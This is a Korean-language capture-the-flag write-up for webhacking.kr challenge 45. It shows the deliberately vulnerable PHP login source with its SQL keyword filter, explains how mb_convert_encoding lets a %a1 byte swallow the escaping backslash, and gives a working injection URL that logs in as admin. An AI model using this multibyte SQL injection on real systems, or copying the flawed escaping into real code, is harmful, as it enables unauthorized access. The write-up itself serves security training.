old-45 (550)

첫 화면이다.

view-source를 클릭해 본 소스는 아래와 같다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>

21번째 줄의 mb_convert_encoding() 함수에 취약점이 존재하는데, 멀티바이트를 사용하는 언어셋 환경에서 백슬래시 앞에 %a1~%fe의 값이 들어오면 인코딩이 깨지며 백슬래시를 덮어씌어버려서 2byte의 멀티바이트가 하나의 문자(1byte)처럼 표현된다.

즉, %a1\ 이 하나의 문자로 표현된다.

https://webhacking.kr/challenge/web-22/?id=%a1%27%20or%20id%20like%200x61646d696e%23&pw=guest 에 접속하면 문제가 풀린다.

id에 %a1' or id like 0x61646d696e# 를 넣은 셈이다.

Last updated

Was this helpful?